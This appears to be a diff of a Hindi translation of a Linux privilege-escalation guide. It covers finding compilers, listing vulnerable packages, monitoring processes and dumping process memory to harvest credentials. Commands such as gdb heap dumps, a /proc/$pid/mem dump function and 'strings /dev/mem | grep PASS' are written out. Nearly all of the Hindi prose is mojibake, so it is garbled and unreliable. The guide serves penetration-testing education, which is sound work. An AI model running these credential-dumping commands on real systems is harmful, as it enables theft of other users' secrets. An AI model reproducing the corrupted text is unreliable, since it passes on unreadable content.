рдЙрдкрдпреЛрдЧреА рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдЖрдкрдХреЛ рдХреЛрдИ kernel exploit рдЪрд▓рд╛рдирд╛ рд╣реЛ, рдХреНрдпреЛрдВрдХрд┐ рдЕрдиреБрд╢рдВрд╕рд╛ рдХреА рдЬрд╛рддреА рд╣реИ рдХрд┐ рдЗрд╕реЗ рдЙрд╕реА machine рдкрд░ compile рдХрд░реЗрдВ рдЬрд╣рд╛рдБ рдЖрдк рдЗрд╕реЗ рдЪрд▓рд╛рдиреЗ рд╡рд╛рд▓реЗ рд╣реИрдВ (рдпрд╛ рдХрд┐рд╕реА рд╕рдорд╛рди machine рдореЗрдВ)ред ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### рдХрдордЬреЛрд░ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рд╕реНрдерд╛рдкрд┐рдд +### рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдП рдЧрдП рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ -рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдХрд┐ **рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдП рдЧрдП рдкреИрдХреЗрдЬреЛрдВ рдФрд░ рд╕реЗрд╡рд╛рдУрдВ рдХрд╛ рд╕рдВрд╕реНрдХрд░рдг** рдХреНрдпрд╛ рд╣реИред рд╢рд╛рдпрдж рдХреЛрдИ рдкреБрд░рд╛рдирд╛ Nagios рд╕рдВрд╕реНрдХрд░рдг (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП) рд╣реЛ рдЬреЛ escalating privileges рдХреЗ рд▓рд┐рдП exploit рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗтАж\ -рдЕрдиреБрд╢рдВрд╕рд╛ рдХреА рдЬрд╛рддреА рд╣реИ рдХрд┐ рдЕрдзрд┐рдХ рд╕рдВрджрд┐рдЧреНрдз рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдП рдЧрдП рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдХреЗ рд╕рдВрд╕реНрдХрд░рдг рдХреЛ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдЬрд╛рдБрдЪреЗрдВред +рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдП рдЧрдП рдкреИрдХреЗрдЬреЛрдВ рдФрд░ рд╕реЗрд╡рд╛рдУрдВ рдХреЗ **рд╕рдВрд╕реНрдХрд░рдг** рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВред рд╢рд╛рдпрдж рдХреЛрдИ рдкреБрд░рд╛рдирд╛ Nagios рд╕рдВрд╕реНрдХрд░рдг (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП) рд╣реЛ рдЬреЛ escalating privileges рдХреЗ рд▓рд┐рдП exploited рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗтАж\ +рдЕрдиреБрд╢рдВрд╕рд╛ рдХреА рдЬрд╛рддреА рд╣реИ рдХрд┐ рдЕрдзрд┐рдХ рд╕рдВрджрд┐рдЧреНрдз рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдП рдЧрдП рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдХреЗ рд╕рдВрд╕реНрдХрд░рдг рдХреЛ рдореИрдиреНрдпреБрдЕрд▓реА рдЬрд╛рдБрдЪреЗрдВред ```bash dpkg -l #Debian rpm -qa #Centos ``` -рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдорд╢реАрди рддрдХ SSH рдПрдХреНрд╕реЗрд╕ рд╣реИ рддреЛ рдЖрдк рдорд╢реАрди рдореЗрдВ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдП рдЧрдП рдкреБрд░рд╛рдиреЗ рдФрд░ рдХрдордЬреЛрд░ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдХреА рдЬрд╛рдБрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **openVAS** рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдорд╢реАрди рддрдХ SSH access рд╣реИ, рддреЛ рдЖрдк рдорд╢реАрди рдХреЗ рдЕрдВрджрд░ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдП рдЧрдП outdated рдФрд░ vulnerable software рдХреА рдЬрд╛рдБрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **openVAS** рдХрд╛ рдЙрдкрдпреЛрдЧ рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -> [!NOTE] > _рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпреЗ рдХрдорд╛рдВрдбреНрд╕ рдмрд╣реБрдд рд╕рд╛рд░реА рдЬрд╛рдирдХрд╛рд░реА рджрд┐рдЦрд╛рдПрдБрдЧреЗ рдЬреЛ рдЬреНрдпрд╛рджрд╛рддрд░ рдмреЗрдХрд╛рд░ рд╣реЛрдЧреА, рдЗрд╕рд▓рд┐рдП OpenVAS рдЬреИрд╕реЗ рдХреБрдЫ applications рдпрд╛ рд╕рдорд╛рди рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХреА рдЬрд╛рддреА рд╣реИ рдЬреЛ рдпрд╣ рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдХреЛрдИ рднреА рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рд╕рдВрд╕реНрдХрд░рдг рдЬреНрдЮрд╛рдд exploits рдХреЗ рд▓рд┐рдП vulnerable рд╣реИ_ +> [!NOTE] > _рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпреЗ commands рдмрд╣реБрдд рд╕рд╛рд░реА рдЬрд╛рдирдХрд╛рд░реА рджрд┐рдЦрд╛рдПрдБрдЧреЗ рдЬреЛ рдЬреНрдпрд╛рджрд╛рддрд░ рдмреЗрдХрд╛рд░ рд╣реЛрдЧреА, рдЗрд╕рд▓рд┐рдП OpenVAS рдпрд╛ рдЗрд╕реА рддрд░рд╣ рдХреЗ рдХреБрдЫ applications рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рд╕рд▓рд╛рд╣ рджреА рдЬрд╛рддреА рд╣реИ рдЬреЛ рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдХрд┐ рдХреЛрдИ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдП рдЧрдП software version рдЬреНрдЮрд╛рдд exploits рдХреЗ рд▓рд┐рдП vulnerable рддреЛ рдирд╣реАрдВ рд╣реИ_ ## рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ -рджреЗрдЦреЗрдВ рдХрд┐ **рдХреМрди рд╕реА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ** рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛ рд░рд╣реА рд╣реИрдВ рдФрд░ рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдХрд┐рд╕реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдкрд╛рд╕ **рдЕрдкреЗрдХреНрд╖рд┐рдд рд╕реЗ рдЕрдзрд┐рдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░** рддреЛ рдирд╣реАрдВ рд╣реИрдВ (рд╢рд╛рдпрдж tomcat рдХреЛ root рджреНрд╡рд╛рд░рд╛ рдЪрд▓рд╛рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реЛ?) +рджреЗрдЦреЗрдВ рдХрд┐ **рдХреМрди рд╕реА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ** рдЪрд▓ рд░рд╣реА рд╣реИрдВ рдФрд░ рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдХреЛрдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛ **рдЙрд╕рд╕реЗ рдЕрдзрд┐рдХ privileges рддреЛ рдирд╣реАрдВ рд░рдЦрддреА рдЬрд┐рддрдиреА рдЙрд╕реЗ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП** (рд╢рд╛рдпрдж рдХреЛрдИ tomcat root рджреНрд╡рд╛рд░рд╛ рдЪрд▓ рд░рд╣рд╛ рд╣реЛ?) ```bash ps aux ps -ef top -n 1 ``` -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Also **processes binaries рдкрд░ рдЕрдкрдиреЗ privileges рдЪреЗрдХ рдХрд░реЗрдВ**, рд╢рд╛рдпрдж рдЖрдк рдХрд┐рд╕реА рдХрд╛ рдмрд╛рдЗрдирд░реА рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд╕рдХреЗрдВред +рд╣рдореЗрд╢рд╛ рдпрд╣ рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдХреЛрдИ [**electron/cef/chromium debuggers** рдЪрд▓ рддреЛ рдирд╣реАрдВ рд░рд╣реЗ рд╣реИрдВ, рдЖрдк рдЗрдиреНрд╣реЗрдВ privileges escalate рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП abuse рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ](electron-cef-chromium-debugger-abuse.md). **Linpeas** рдЗрдирдХреЛ process рдХреА command line рдореЗрдВ `--inspect` parameter рдХреА рдЬрд╛рдБрдЪ рдХрд░рдХреЗ рдкрд╣рдЪрд╛рдирддрд╛ рд╣реИ.\ +рд╕рд╛рде рд╣реА **process рдХреЗ binaries рдкрд░ рдЕрдкрдиреА privileges рдЬрд╛рдБрдЪреЗрдВ**, рд╢рд╛рдпрдж рдЖрдк рдХрд┐рд╕реА рдХреЛ overwrite рдХрд░ рд╕рдХреЗрдВред ### рдкреНрд░реЛрд╕реЗрд╕ рдореЙрдирд┐рдЯрд░рд┐рдВрдЧ -рдЖрдк рдкреНрд░реЛрд╕реЗрд╕ рдореЙрдирд┐рдЯрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП [**pspy**](https://github.com/DominicBreuker/pspy) рдЬреИрд╕реЗ рдЯреВрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рдмрд╛рд░-рдмрд╛рд░ рдЪрд▓рдиреЗ рд╡рд╛рд▓реА рдпрд╛ рдЬрдм рдХреБрдЫ рд╢рд░реНрддреЗрдВ рдкреВрд░реА рд╣реЛрдВ рддрдм execute рд╣реЛрдиреЗ рд╡рд╛рд▓реА рдХрдордЬреЛрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдореЗрдВ рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИред +рдЖрдк рдкреНрд░реЛрд╕реЗрд╕ рдореЙрдирд┐рдЯрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП [**pspy**](https://github.com/DominicBreuker/pspy) рдЬреИрд╕реЗ tools рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рдЕрдХреНрд╕рд░ рдЪрд▓рдиреЗ рд╡рд╛рд▓реЗ рдпрд╛ рдЬрдм рдХреБрдЫ рд╢рд░реНрддреЗрдВ рдкреВрд░реА рд╣реЛрдВ рддреЛ vulnerable processes рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдореЗрдВ рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИред ### рдкреНрд░реЛрд╕реЗрд╕ рдореЗрдореЛрд░реА -рдХреБрдЫ рд╕рд░реНрд╡рд┐рд╕реЗрдЬ рд╕рд░реНрд╡рд░ рдХреА рдореЗрдореЛрд░реА рдХреЗ рдЕрдВрджрд░ **clear text рдореЗрдВ credentials** рд╕реЗрд╡ рдХрд░ рджреЗрддреА рд╣реИрдВред\ -рдЖрдо рддреМрд░ рдкрд░ рджреВрд╕рд░реЗ рдпреВрдЬрд╝рд░реНрд╕ рдХреЗ processes рдХреА рдореЗрдореЛрд░реА рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ **root privileges** рдЪрд╛рд╣рд┐рдП рд╣реЛрддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдпрд╣ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рддрдм рдЕрдзрд┐рдХ рдЙрдкрдпреЛрдЧреА рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдЖрдк рдкрд╣рд▓реЗ рд╕реЗ root рд╣реЛрдВ рдФрд░ рдФрд░ рднреА credentials рдЦреЛрдЬрдирд╛ рдЪрд╛рд╣реЗрдВред\ -рд╣рд╛рд▓рд╛рдБрдХрд┐, рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ **рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдпреВрдЬрд╝рд░ рдХреЗ рд░реВрдк рдореЗрдВ рдЖрдк рдЙрди рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдореЗрдореЛрд░реА рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдЖрдкрдХреА рд╣реА рд╣реИрдВ**ред +рдХрд┐рд╕реА рд╕рд░реНрд╡рд░ рдХреА рдХреБрдЫ рд╕реЗрд╡рд╛рдПрдБ **memory рдХреЗ рдЕрдВрджрд░ clear text рдореЗрдВ credentials** рд╕реНрдЯреЛрд░ рдХрд░рддреА рд╣реИрдВред\ +рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдЕрдиреНрдп users рдХреЗ processes рдХреА memory рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ **root privileges** рдЪрд╛рд╣рд┐рдП рд╣реЛрддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдЖрдорддреМрд░ рдкрд░ рддрдм рдЕрдзрд┐рдХ рдЙрдкрдпреЛрдЧреА рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдЖрдк рдкрд╣рд▓реЗ рд╕реЗ рд╣реА root рд╣реЛрдВ рдФрд░ рдФрд░ credentials рдЦреЛрдЬрдирд╛ рдЪрд╛рд╣реЗрдВред\ +рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ **рдПрдХ regular user рдХреЗ рд░реВрдк рдореЗрдВ рдЖрдк рдЙрди processes рдХреА memory рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдЖрдкрдХреЗ рд╣реИрдВ**ред > [!WARNING] -> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. +> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдЬрдХрд▓ рдЕрдзрд┐рдХрд╛рдВрд╢ рдорд╢реАрдиреЗрдВ **default рд░реВрдк рд╕реЗ ptrace рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддреАрдВ** рдЬрд┐рд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдЖрдк рдЙрди other processes рдХреЛ dump рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рдЬреЛ рдЖрдкрдХреЗ unprivileged user рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИрдВред > -> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: +> рдлрд╝рд╛рдЗрд▓ _**/proc/sys/kernel/yama/ptrace_scope**_ ptrace рдХреА accessibility рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреА рд╣реИ: > -> - **kernel.yama.ptrace_scope = 0**: рд╕рднреА рдкреНрд░реЛрд╕реЗрд╕реЗрд╕ рдбрд┐рдмрдЧ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдмрд╢рд░реНрддреЗ рдЙрдирдХрд╛ uid рд╕рдорд╛рди рд╣реЛред рдпрд╣ ptracing рдХрд╛ рдкрд╛рд░рдВрдкрд░рд┐рдХ рддрд░реАрдХрд╛ рдерд╛ред -> - **kernel.yama.ptrace_scope = 1**: рдХреЗрд╡рд▓ parent process рд╣реА рдбрд┐рдмрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +> - **kernel.yama.ptrace_scope = 0**: рд╕рднреА processes рдХреЛ debug рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдмрд╢рд░реНрддреЗ рдЙрдирдХреА рд╡рд╣реА uid рд╣реЛред рдпрд╣ ptracing рдХрд╛ рдкрд╛рд░рдВрдкрд░рд┐рдХ рддрд░реАрдХрд╛ рд╣реИред +> - **kernel.yama.ptrace_scope = 1**: рдХреЗрд╡рд▓ parent process рдХреЛ debug рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред > - **kernel.yama.ptrace_scope = 2**: рдХреЗрд╡рд▓ admin ptrace рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдХреЗ рд▓рд┐рдП CAP_SYS_PTRACE capability рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред -> - **kernel.yama.ptrace_scope = 3**: ptrace рдХреЗ рд╕рд╛рде рдХреЛрдИ рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЯреНрд░реЗрд╕ рдирд╣реАрдВ рдХреА рдЬрд╛ рд╕рдХрддреАред рдПрдХ рдмрд╛рд░ рд╕реЗрдЯ рд╣реЛрдиреЗ рдкрд░ ptracing рдХреЛ рдлрд┐рд░ рд╕реЗ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП reboot рдЖрд╡рд╢реНрдпрдХ рд╣реЛрдЧрд╛ред +> - **kernel.yama.ptrace_scope = 3**: ptrace рдХреЗ рд╕рд╛рде рдХреЛрдИ рднреА process trace рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ред рдПрдХ рдмрд╛рд░ рд╕реЗрдЯ рд╣реЛрдиреЗ рдкрд░ ptracing рдХреЛ рдлрд┐рд░ рд╕реЗ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП reboot рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред #### GDB -рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдХрд┐рд╕реА FTP service рдХреА рдореЗрдореЛрд░реА рддрдХ рдкрд╣реБрдБрдЪ рд╣реИ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП) рддреЛ рдЖрдк Heap рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрд╕рдХреЗ рдЕрдВрджрд░ рдХреЗ credentials рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВред +рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдХрд┐рд╕реА FTP service (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП) рдХреА memory рддрдХ рдкрд╣реБрдБрдЪ рд╣реИ, рддреЛ рдЖрдк Heap рдирд┐рдХрд╛рд▓ рдХрд░ рдЙрд╕рдХреЗ credentials рдХреЗ рдЕрдВрджрд░ search рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ```bash gdb -p (gdb) info proc mappings @@ -216,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -рдХрд┐рд╕реА рджрд┐рдП рдЧрдП process ID рдХреЗ рд▓рд┐рдП, **maps рдпрд╣ рджрд┐рдЦрд╛рддрд╛ рд╣реИ рдХрд┐ рдЙрд╕ process рдХреА virtual address space рдореЗрдВ memory рдХреИрд╕реЗ mapped рд╣реИ**; рдпрд╣ рдкреНрд░рддреНрдпреЗрдХ mapped region рдХреА **permissions** рднреА рджрд┐рдЦрд╛рддрд╛ рд╣реИред **mem** pseudo file рд╕реНрд╡рдпрдВ process рдХреА memory рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИред **maps** рдлрд╝рд╛рдЗрд▓ рд╕реЗ рд╣рдореЗрдВ рдкрддрд╛ рдЪрд▓рддрд╛ рд╣реИ рдХрд┐ рдХреМрди рд╕реЗ **memory regions рдкрдврд╝рдиреЗ рдпреЛрдЧреНрдп (readable)** рд╣реИрдВ рдФрд░ рдЙрдирдХреЗ offsets рдХреНрдпрд╛ рд╣реИрдВред рд╣рдо рдЗрд╕ рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **mem file рдореЗрдВ seek рдХрд░рдХреЗ рд╕рднреА рдкрдврд╝рдиреЗ рдпреЛрдЧреНрдп regions рдХреЛ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ dump рдХрд░рддреЗ рд╣реИрдВ**ред +рдХрд┐рд╕реА рджрд┐рдП рдЧрдП process ID рдХреЗ рд▓рд┐рдП, **maps рджрд┐рдЦрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдЙрд╕ process рдХреЗ virtual address space рдореЗрдВ memory рдХреИрд╕реЗ рдореИрдк рд╣реБрдИ рд╣реИ**; рдпрд╣ рдкреНрд░рддреНрдпреЗрдХ рдореИрдк рдХрд┐рдП рдЧрдП region рдХреА **permissions** рднреА рджрд┐рдЦрд╛рддрд╛ рд╣реИред рд╡рд╣реАрдВ, **mem** pseudo file **рдкреНрд░реЛрд╕реЗрд╕ рдХреА рдореЗрдореЛрд░реА рдХреЛ рд╕реНрд╡рдпрдВ рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИ**ред **maps** рдлрд╝рд╛рдЗрд▓ рд╕реЗ рд╣рдореЗрдВ рдкрддрд╛ рдЪрд▓рддрд╛ рд╣реИ рдХрд┐ рдХреМрди рд╕реЗ **memory regions рдкрдврд╝рдиреЗ рдпреЛрдЧреНрдп рд╣реИрдВ** рдФрд░ рдЙрдирдХреЗ offsetsред рд╣рдо рдЗрд╕ рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **mem file рдореЗрдВ seek рдХрд░ рдХреЗ рд╕рднреА рдкрдврд╝рдиреЗ рдпреЛрдЧреНрдп regions рдХреЛ dump рдХрд░рдХреЗ** рдПрдХ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕реЗрд╡ рдХрд░рддреЗ рд╣реИрдВред ```bash procdump() ( @@ -231,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` рд╕рд┐рд╕реНрдЯрдо рдХреА **рднреМрддрд┐рдХ** рдореЗрдореЛрд░реА рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рди рдХрд┐ рд╡рд░реНрдЪреБрдЕрд▓ рдореЗрдореЛрд░реАред The kernel's virtual address space can be accessed using /dev/kmem.\ -рдЖрдорддреМрд░ рдкрд░, `/dev/mem` рдХреЗрд╡рд▓ **root** рдФрд░ **kmem** рд╕рдореВрд╣ рджреНрд╡рд╛рд░рд╛ рдкрдврд╝рдиреЗ рдпреЛрдЧреНрдп рд╣реЛрддрд╛ рд╣реИ. +`/dev/mem` рд╕рд┐рд╕реНрдЯрдо рдХреА **рднреМрддрд┐рдХ** рдореЗрдореЛрд░реА рддрдХ рдкрд╣реБрдБрдЪ рджреЗрддрд╛ рд╣реИ, рди рдХрд┐ рд╡рд░реНрдЪреБрдЕрд▓ рдореЗрдореЛрд░реАред рдХрд░реНрдиреЗрд▓ рдХреЗ рд╡рд░реНрдЪреБрдЕрд▓ рдПрдбреНрд░реЗрд╕ рд╕реНрдкреЗрд╕ рддрдХ /dev/kmem рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрд╣реБрдБрдЪрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ.\ +рдЖрдорддреМрд░ рдкрд░, `/dev/mem` рдХреЗрд╡рд▓ **root** рдФрд░ **kmem** group рджреНрд╡рд╛рд░рд╛ рдкрдврд╝рдиреЗ рдпреЛрдЧреНрдп рд╣реЛрддрд╛ рд╣реИред ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump рдХреЗ рд▓рд┐рдП linux -ProcDump Windows рдХреЗ рд▓рд┐рдП Sysinternals suite of tools рдореЗрдВ рдореМрдЬреВрдж рдХреНрд▓рд╛рд╕рд┐рдХ ProcDump tool рдХрд╛ Linux рдХреЗ рд▓рд┐рдП рдкреБрдирд░реНрдХрд▓реНрдкрдирд╛ рд╣реИред рдЗрд╕реЗ рдпрд╣рд╛рдБ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump Windows рдХреЗ рд▓рд┐рдП Sysinternals suite рдХреЗ рдХреНрд▓рд╛рд╕рд┐рдХ ProcDump рдЯреВрд▓ рдХреА Linux рдореЗрдВ рдкреБрдирд░реНрдХрд▓реНрдкрдирд╛ рд╣реИред рдЗрд╕реЗ рдпрд╣рд╛рдБ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,31 +266,31 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### рдЯреВрд▓реНрд╕ -рдХрд┐рд╕реА process memory рдХреЛ dump рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдирд┐рдореНрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +To dump a process memory you could use: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_рдЖрдк рдореИрдиреНрдпреБрдЕрд▓реА root requirements рд╣рдЯрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ owned process рдХреЛ dump рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root рдЖрд╡рд╢реНрдпрдХ рд╣реИ) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_рдЖрдк рдореИрдиреНрдпреБрдЕрд▓реА root рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдБ рд╣рдЯрд╛ рдХрд░ рдЕрдкрдиреЗ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рд╡рд╛рд▓реЗ process рдХреЛ dump рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ) -### Process Memory рд╕реЗ Credentials +### рдкреНрд░реЛрд╕реЗрд╕ рдореЗрдореЛрд░реА рд╕реЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ -#### рдореИрдиреБрдЕрд▓ рдЙрджрд╛рд╣рд░рдг +#### рдореИрдиреНрдпреБрдЕрд▓ рдЙрджрд╛рд╣рд░рдг рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ authenticator process рдЪрд▓ рд░рд╣рд╛ рд╣реИ: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -рдЖрдк process рдХреЛ dump рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдкрд╣рд▓реЗ рдХреЗ рд╕реЗрдХреНрд╢рди рджреЗрдЦреЗрдВ рддрд╛рдХрд┐ process рдХреА memory рдХреЛ dump рдХрд░рдиреЗ рдХреЗ рд╡рд┐рднрд┐рдиреНрди рддрд░реАрдХреЗ рдорд┐рд▓ рд╕рдХреЗрдВ) рдФрд░ memory рдХреЗ 